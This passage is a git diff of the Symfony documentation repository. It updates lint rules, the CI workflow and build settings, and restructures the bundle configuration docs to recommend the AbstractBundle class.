diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b0575dc3bf4..0768119d255 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,9 +1,5 @@
 rules:
     american_english: ~
-    argument_variable_must_match_type:
-        arguments:
-            - { type: 'ContainerBuilder', name: 'container' }
-            - { type: 'ContainerConfigurator', name: 'container' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~
@@ -12,8 +8,12 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_bash_prompt_before_composer_command: ~
+    ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_explicit_nullable_types: ~
+    ensure_github_directive_start_with_prefix:
+        prefix: 'Symfony'
     ensure_link_bottom: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
@@ -23,17 +23,21 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
+            - directive: '.. caution::'
+              replacements: ['.. warning::', '.. danger::']
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
         max: 2
     max_colons: ~
     no_app_console: ~
+    no_attribute_redundant_parenthesis: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~
     no_blank_line_after_filepath_in_xml_code_block: ~
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
+    no_broken_ref_directive: ~
     no_composer_req: ~
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
@@ -44,6 +48,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
@@ -97,7 +102,7 @@ whitelist:
         - '#. The most important config file is ``app/config/services.yml``, which now is'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 2.7.2' # Doctrine
+        - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
@@ -109,5 +114,7 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '.. versionadded:: 3.5' # Monolog
+        - '.. versionadded:: 3.0' # Doctrine ORM
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - 'End to End Tests (E2E)'
+        - '.. versionadded:: 2.2.0' # Panther
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c9eb6ae7b38..061b0bb85b0 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -21,12 +21,12 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.2
                     coverage: none
                     tools: "composer:v2"
 
@@ -57,7 +57,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Create cache dir"
                 run: mkdir .cache
@@ -73,71 +73,74 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.54.0
+                uses: docker://oskarstark/doctor-rst:1.64.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
     symfony-code-block-checker:
         name: Code Blocks
+
         runs-on: ubuntu-latest
+
         continue-on-error: true
+
         steps:
-          - name: Checkout code
-            uses: actions/checkout@v3
-            with:
-                path: 'docs'
-
-          - name: Set-up PHP
-            uses: shivammathur/setup-php@v2
-            with:
-                php-version: 8.2
-                coverage: none
-
-          - name: Fetch branch from where the PR started
-            working-directory: docs
-            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-          - name: Find modified files
-            id: find-files
-            working-directory: docs
-            run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
-
-          - name: Get composer cache directory
-            id: composercache
-            working-directory: docs/_build
-            run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
-
-          - name: Cache dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v3
-            with:
-                path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-          - name: Install dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-          - name: Install test application
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-              cd _sf_app
-              composer update
-
-          - name: Generate baseline
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              CURRENT=$(git rev-parse HEAD)
-              git checkout -m ${{ github.base_ref }}
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-              git checkout -m $CURRENT
-              cat baseline.json
-
-          - name: Verify examples
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+            -   name: Checkout code
+                uses: actions/checkout@v4
+                with:
+                    path: 'docs'
+
+            -   name: Set-up PHP
+                uses: shivammathur/setup-php@v2
+                with:
+                    php-version: 8.2
+                    coverage: none
+
+            -   name: Fetch branch from where the PR started
+                working-directory: docs
+                run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+            -   name: Find modified files
+                id: find-files
+                working-directory: docs
+                run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
+
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: docs/_build
+                run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
+
+            -   name: Cache dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                uses: actions/cache@v3
+                with:
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+            -   name: Install dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+            -   name: Install test application
+                if: ${{ steps.find-files.outputs.files }}
+                run: |
+                    git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+                    cd _sf_app
+                    composer update
+
+            -   name: Generate baseline
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    CURRENT=$(git rev-parse HEAD)
+                    git checkout -m ${{ github.base_ref }}
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+                    git checkout -m $CURRENT
+                    cat baseline.json
+
+            -   name: Verify examples
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
diff --git a/README.md b/README.md
index ed323a8ee83..5c063058c02 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 > [!IMPORTANT]
-> Use `5.4` branch as the base of your pull requests, unless you are documenting a
-> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1).
+> Use `6.4` branch as the base of your pull requests, unless you are documenting a
+> feature that was introduced *after* Symfony 6.4 (e.g. in Symfony 7.2).
 
 Build Documentation Locally
 ---------------------------
diff --git a/_build/build.php b/_build/build.php
index be2fb062a77..5298abe779a 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('5.4')
+            ->setSymfonyVersion('7.1')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')
diff --git a/_build/redirection_map b/_build/redirection_map
index 3b845d59ffe..1701f4a8f70 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -525,11 +525,10 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
-/serializer/normalizers /components/serializer#normalizers
-/components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
+/serializer/normalizers /serializer#serializer-built-in-normalizers
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
-/components/inflector /components/string#inflector
+/components/inflector /string#inflector
 /security/experimental_authenticators /security
 /security/user_provider /security/user_providers
 /security/reset_password /security/passwords#reset-password
@@ -566,3 +565,11 @@
 /messenger/handler_results /messenger#messenger-getting-handler-results
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
+/frontend/encore/server-data /frontend/server-data
+/components/string /string
+/testing/http_authentication /testing#testing_logging_in_users
+/doctrine/registration_form /security#security-make-registration-form
+/form/form_dependencies /form/create_custom_field_type
+/doctrine/reverse_engineering /doctrine#doctrine-adding-mapping
+/components/serializer /serializer
+/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
deleted file mode 100644
index fa05ce9430e..00000000000
--- a/_build/spelling_word_list.txt
+++ /dev/null
@@ -1,344 +0,0 @@
-accessor
-Akamai
-analytics
-Ansi
-Ansible
-async
-authenticator
-authenticators
-autocompleted
-autocompletion
-autoconfiguration
-autoconfigure
-autoconfigured
-autoconfigures
-autoconfiguring
-autoload
-autoloaded
-autoloader
-autoloaders
-autoloading
-autoprefixing
-autowire
-autowireable
-autowired
-autowiring
-backend
-backends
-balancer
-balancers
-bcrypt
-benchmarking
-Bitbucket
-bitmask
-bitmasks
-bitwise
-Blackfire
-boolean
-booleans
-Brasseur
-browserslist
-buildpack
-buildpacks
-bundler
-cacheable
-Caddy
-callables
-camelCase
-casted
-changelog
-changeset
-charset
-charsets
-checkboxes
-classmap
-classname
-clearers
-cloner
-cloners
-codebase
-config
-configs
-configurator
-configurators
-contrib
-cron
-cronjobs
-cryptographic
-cryptographically
-Ctrl
-ctype
-cURL
-customizable
-customizations
-Cygwin
-dataset
-datepicker
-decrypt
-denormalization
-denormalize
-denormalized
-denormalizing
-deprecations
-deserialization
-deserialize
-deserialized
-deserializing
-destructor
-dev
-dn
-DNS
-docblock
-Dotenv
-downloader
-Doxygen
-DSN
-Dunglas
-easter
-Eberlei
-emilie
-enctype
-entrypoints
-enum
-env
-escaper
-escpaer
-extensibility
-extractable
-eZPublish
-Fabien
-failover
-filesystem
-filesystems
-formatter
-formatters
-frontend
-getter
-getters
-GitHub
-gmail
-Gmail
-Goutte
-grapheme
-hardcode
-hardcoded
-hardcodes
-hardcoding
-hasser
-hassers
-headshot
-HInclude
-hostname
-https
-iconv
-igbinary
-incrementing
-ini
-inlined
-inlining
-installable
-instantiation
-interoperable
-intl
-Intl
-invokable
-IPv
-isser
-issers
-Jpegoptim
-jQuery
-js
-Karlton
-kb
-kB
-Kévin
-Ki
-KiB
-kibibyte
-Kubernetes
-Kudu
-labelled
-latin
-Ldap
-libketama
-licensor
-lifecycle
-liip
-linter
-localhost
-Loggly
-Logplex
-lookups
-loopback
-lorenzo
-Luhn
-macOS
-matcher
-matchers
-mbstring
-mebibyte
-memcache
-memcached
-MiB
-michelle
-minification
-minified
-minifier
-minifies
-minify
-minifying
-misconfiguration
-misconfigured
-misgendering
-Monolog
-mutator
-nagle
-namespace
-namespaced
-namespaces
-namespacing
-natively
-nd
-netmasks
-nginx
-normalizer
-normalizers
-npm
-nyholm
-OAuth
-OPcache
-overcomplicate
-Packagist
-parallelizes
-parsers
-PHP
-PHPUnit
-PID
-plaintext
-polyfill
-polyfills
-postcss
-Potencier
-pre
-preconfigured
-predefines
-Predis
-preload
-preloaded
-preloading
-prepend
-prepended
-prepending
-prepends
-preprocessed
-preprocessors
-Procfile
-profiler
-programmatically
-prototyped
-rebase
-reconfiguring
-reconnection
-redirections
-refactorization
-regexes
-renderer
-resolvers
-responder
-reStructuredText
-reusability
-runtime
-sandboxing
-schemas
-screencast
-semantical
-serializable
-serializer
-sexualized
-Silex
-sluggable
-socio
-specificities
-SQLite
-stacktrace
-stacktraces
-storages
-stringified
-stylesheet
-stylesheets
-subclasses
-subdirectories
-subdirectory
-sublcasses
-sublicense
-sublincense
-subrequests
-subtree
-superclass
-superglobal
-superglobals
-symfony
-Symfony
-symlink
-symlinks
-syntaxes
-templating
-testability
-th
-theming
-throbber
-timestampable
-timezones
-TLS
-tmpfs
-tobias
-todo
-Tomayko
-Toolbelt
-tooltip
-Traversable
-triaging
-UI
-uid
-unary
-unauthenticate
-uncacheable
-uncached
-uncomment
-uncommented
-undelete
-unhandled
-unicode
-Unix
-unmapped
-unminified
-unported
-unregister
-unrendered
-unserialize
-unserialized
-unserializing
-unsubmitted
-untracked
-uploader
-URI
-validator
-validators
-variadic
-VirtualBox
-Vue
-webpack
-webpacked
-webpackJsonp
-webserver
-whitespace
-whitespaces
-woh
-Wordpress
-Xdebug
-xkcd
-Xliff
-XML
-XPath
-yaml
-yay
diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg
similarity index 100%
rename from _images/components/serializer/serializer_workflow.svg
rename to _images/serializer/serializer_workflow.svg
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia
similarity index 100%
rename from _images/sources/components/serializer/serializer_workflow.dia
rename to _images/sources/serializer/serializer_workflow.dia
diff --git a/best_practices.rst b/best_practices.rst
index afc72774ad9..2c393cae9c6 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -51,6 +51,7 @@ self-explanatory and not coupled to Symfony:
     │  └─ console
     ├─ config/
     │  ├─ packages/
+    │  ├─ routes/
     │  └─ services.yaml
     ├─ migrations/
     ├─ public/
@@ -108,6 +109,10 @@ Define these options as :ref:`parameters <configuration-parameters>` in the
 :ref:`environment <configuration-environments>` in the ``config/services_dev.yaml``
 and ``config/services_prod.yaml`` files.
 
+Unless the application configuration is reused multiple times and needs
+rigid validation, do *not* use the :doc:`Config component </components/config>`
+to define the options.
+
 Use Short and Prefixed Parameter Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -155,6 +160,8 @@ values is that it's complicated to redefine their values in your tests.
 Business Logic
 --------------
 
+.. _best-practice-no-application-bundles:
+
 Don't Create any Bundle to Organize your Application Logic
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/bundles.rst b/bundles.rst
index c2bc5777d4f..878bee3af4a 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -3,10 +3,10 @@
 The Bundle System
 =================
 
-.. caution::
+.. warning::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
-    application code using bundles. This is no longer recommended and bundles
+    application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
     should only be used to share code and features between multiple applications.
 
 A bundle is similar to a plugin in other software, but even better. The core
@@ -58,7 +58,7 @@ Start by creating a new class called ``AcmeBlogBundle``::
     {
     }
 
-.. caution::
+.. warning::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -82,6 +82,8 @@ of the bundle. Now that you've created the bundle, enable it::
 
 And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used.
 
+.. _bundles-directory-structure:
+
 Bundle Directory Structure
 --------------------------
 
@@ -114,7 +116,9 @@ to be adjusted if needed:
 ``translations/``
     Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``).
 
-.. caution::
+.. _bundles-legacy-directory-structure:
+
+.. warning::
 
     The recommended bundle structure was changed in Symfony 5, read the
     `Symfony 4.4 bundle documentation`_ for information about the old
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 0cdf4ecb2b9..376984388db 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -78,16 +78,22 @@ The following is the recommended directory structure of an AcmeBlogBundle:
     ├── LICENSE
     └── README.md
 
-This directory structure requires to configure the bundle path to its root
-directory as follows::
+.. note::
+
+    This directory structure is used by default when your bundle class extends
+    the recommended :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`.
+    If your bundle extends the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
+    class, you have to override the ``getPath()`` method as follows::
 
-    class AcmeBlogBundle extends Bundle
-    {
-        public function getPath(): string
+        use Symfony\Component\HttpKernel\Bundle\Bundle;
+
+        class AcmeBlogBundle extends Bundle
         {
-            return \dirname(__DIR__);
+            public function getPath(): string
+            {
+                return \dirname(__DIR__);
+            }
         }
-    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
@@ -240,7 +246,7 @@ with Symfony Flex to install a specific Symfony version:
     # recommended to have a better output and faster download time)
     composer update --prefer-dist --no-progress
 
-.. caution::
+.. warning::
 
     If you want to cache your Composer dependencies, **do not** cache the
     ``vendor/`` directory as this has side-effects. Instead cache
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 6596512a5ef..dedfada2ea2 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -46,11 +46,110 @@ as integration of other related components:
             $framework->form()->enabled(true);
         };
 
+There are two different ways of creating friendly configuration for a bundle:
+
+#. :ref:`Using the main bundle class <bundle-friendly-config-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Using the Bundle extension class <bundle-friendly-config-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _using-the-bundle-class:
+.. _bundle-friendly-config-bundle-class:
+
+Using the AbstractBundle Class
+------------------------------
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can add all the logic related to processing the configuration in that class::
+
+    // src/AcmeSocialBundle.php
+    namespace Acme\SocialBundle;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeSocialBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->arrayNode('twitter')
+                        ->children()
+                            ->integerNode('client_id')->end()
+                            ->scalarNode('client_secret')->end()
+                        ->end()
+                    ->end() // twitter
+                ->end()
+            ;
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // the "$config" variable is already merged and processed so you can
+            // use it directly to configure the service container (when defining an
+            // extension class, you also have to do this merging and processing)
+            $container->services()
+                ->get('acme_social.twitter_client')
+                ->arg(0, $config['twitter']['client_id'])
+                ->arg(1, $config['twitter']['client_secret'])
+            ;
+        }
+    }
+
+.. note::
+
+    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
+
+.. tip::
+
+    The ``AbstractBundle::configure()`` method also allows to import the
+    configuration definition from one or more files::
+
+        // src/AcmeSocialBundle.php
+        namespace Acme\SocialBundle;
+
+        // ...
+        class AcmeSocialBundle extends AbstractBundle
+        {
+            public function configure(DefinitionConfigurator $definition): void
+            {
+                $definition->import('../config/definition.php');
+                // you can also use glob patterns
+                //$definition->import('../config/definition/*.php');
+            }
+
+            // ...
+        }
+
+    .. code-block:: php
+
+        // config/definition.php
+        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+        return static function (DefinitionConfigurator $definition): void {
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        };
+
+.. _bundle-friendly-config-extension:
+
 Using the Bundle Extension
 --------------------------
 
+This is the traditional way of creating friendly configuration for bundles. For new
+bundles it's recommended to :ref:`use the main bundle class <bundle-friendly-config-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
 Imagine you are creating a new bundle - AcmeSocialBundle - which provides
-integration with Twitter. To make your bundle configurable to the user, you
+integration with X/Twitter. To make your bundle configurable to the user, you
 can add some configuration that looks like this:
 
 .. configuration-block::
@@ -110,7 +209,7 @@ load correct services and parameters inside an "Extension" class.
 
     If a bundle provides an Extension class, then you should *not* generally
     override any service container parameters from that bundle. The idea
-    is that if an Extension class is present, every setting that should be
+    is that if an extension class is present, every setting that should be
     configurable should be present in the configuration made available by
     that class. In other words, the extension class defines all the public
     configuration settings for which backward compatibility will be maintained.
@@ -244,7 +343,7 @@ For example, imagine your bundle has the following example config:
             https://symfony.com/schema/dic/services/services-1.0.xsd"
     >
         <services>
-            <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient">
+            <service id="acme_social.twitter_client" class="Acme\SocialBundle\TwitterClient">
                 <argument></argument> <!-- will be filled in with client_id dynamically -->
                 <argument></argument> <!-- will be filled in with client_secret dynamically -->
             </service>
@@ -267,7 +366,7 @@ In your extension, you can load this and dynamically set its arguments::
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $container->getDefinition('acme.social.twitter_client');
+        $definition = $container->getDefinition('acme_social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }
@@ -315,90 +414,6 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
-.. _using-the-bundle-class:
-
-Using the AbstractBundle Class
-------------------------------
-
-As an alternative, instead of creating an extension and configuration class as
-shown in the previous section, you can also extend
-:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
-logic to the bundle class directly::
-
-    // src/AcmeSocialBundle.php
-    namespace Acme\SocialBundle;
-
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeSocialBundle extends AbstractBundle
-    {
-        public function configure(DefinitionConfigurator $definition): void
-        {
-            $definition->rootNode()
-                ->children()
-                    ->arrayNode('twitter')
-                        ->children()
-                            ->integerNode('client_id')->end()
-                            ->scalarNode('client_secret')->end()
-                        ->end()
-                    ->end() // twitter
-                ->end()
-            ;
-        }
-
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // Contrary to the Extension class, the "$config" variable is already merged
-            // and processed. You can use it directly to configure the service container.
-            $containerConfigurator->services()
-                ->get('acme.social.twitter_client')
-                ->arg(0, $config['twitter']['client_id'])
-                ->arg(1, $config['twitter']['client_secret'])
-            ;
-        }
-    }
-
-.. note::
-
-    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
-
-.. tip::
-
-    The ``AbstractBundle::configure()`` method also allows to import the
-    configuration definition from one or more files::
-
-        // src/AcmeSocialBundle.php
-        namespace Acme\SocialBundle;
-
-        // ...
-        class AcmeSocialBundle extends AbstractBundle
-        {
-            public function configure(DefinitionConfigurator $definition): void
-            {
-                $definition->import('../config/definition.php');
-                // you can also use glob patterns
-                //$definition->import('../config/definition/*.php');
-            }
-
-            // ...
-        }
-
-    .. code-block:: php
-
-        // config/definition.php
-        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-
-        return static function (DefinitionConfigurator $definition): void {
-            $definition->rootNode()
-                ->children()
-                    ->scalarNode('foo')->defaultValue('bar')->end()
-                ->end()
-            ;
-        };
-
 Modifying the Configuration of Another Bundle
 ---------------------------------------------
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 4e2fe233966..0537eb00c3e 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -6,12 +6,73 @@ file used by the application but in the bundles themselves. This article
 explains how to create and load service files using the bundle directory
 structure.
 
+There are two different ways of doing it:
+
+#. :ref:`Load your services in the main bundle class <bundle-load-services-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Create an extension class to load the service configuration files <bundle-load-services-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _bundle-load-services-bundle-class:
+
+Loading Services Directly in your Bundle Class
+----------------------------------------------
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
+method to load service definitions from configuration files::
+
+    // ...
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeHelloBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // load an XML, PHP or YAML file
+            $container->import('../config/services.xml');
+
+            // you can also add or replace parameters and services
+            $container->parameters()
+                ->set('acme_hello.phrase', $config['phrase'])
+            ;
+
+            if ($config['scream']) {
+                $container->services()
+                    ->get('acme_hello.printer')
+                        ->class(ScreamingPrinter::class)
+                ;
+            }
+        }
+    }
+
+This method works similar to the ``Extension::load()`` method explained below,
+but it uses a new simpler API to define and import service configuration.
+
+.. note::
+
+    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
+    ``$config`` parameter is already merged and processed by the
+    ``AbstractBundle``.
+
+.. note::
+
+    The ``loadExtension()`` is called only at compile time.
+
+.. _bundle-load-services-extension:
+
 Creating an Extension Class
 ---------------------------
 
-In order to load service configuration, you have to create a Dependency
-Injection (DI) Extension for your bundle. By default, the Extension class must
-follow these conventions (but later you'll learn how to skip them if needed):
+This is the traditional way of loading service definitions in bundles. For new
+bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
+A dependency injection extension is defined as a class that follows these
+conventions (later you'll learn how to skip them if needed):
 
 * It has to live in the ``DependencyInjection`` namespace of the bundle;
 
@@ -20,7 +81,7 @@ follow these conventions (but later you'll learn how to skip them if needed):
   :class:`Symfony\\Component\\DependencyInjection\\Extension\\Extension` class;
 
 * The name is equal to the bundle name with the ``Bundle`` suffix replaced by
-  ``Extension`` (e.g. the Extension class of the AcmeBundle would be called
+  ``Extension`` (e.g. the extension class of the AcmeBundle would be called
   ``AcmeExtension`` and the one for AcmeHelloBundle would be called
   ``AcmeHelloExtension``).
 
@@ -70,7 +131,7 @@ class name to underscores (e.g. ``AcmeHelloExtension``'s DI alias is
 ``acme_hello``).
 
 Using the ``load()`` Method
----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``load()`` method, all services and parameters related to this extension
 will be loaded. This method doesn't get the actual container instance, but a
@@ -108,53 +169,6 @@ The Extension is also the class that handles the configuration for that
 particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``).
 To read more about it, see the ":doc:`/bundles/configuration`" article.
 
-Loading Services directly in your Bundle class
-----------------------------------------------
-
-Alternatively, you can define and load services configuration directly in a
-bundle class instead of creating a specific ``Extension`` class. You can do
-this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
-method::
-
-    // ...
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeHelloBundle extends AbstractBundle
-    {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // load an XML, PHP or Yaml file
-            $containerConfigurator->import('../config/services.xml');
-
-            // you can also add or replace parameters and services
-            $containerConfigurator->parameters()
-                ->set('acme_hello.phrase', $config['phrase'])
-            ;
-
-            if ($config['scream']) {
-                $containerConfigurator->services()
-                    ->get('acme_hello.printer')
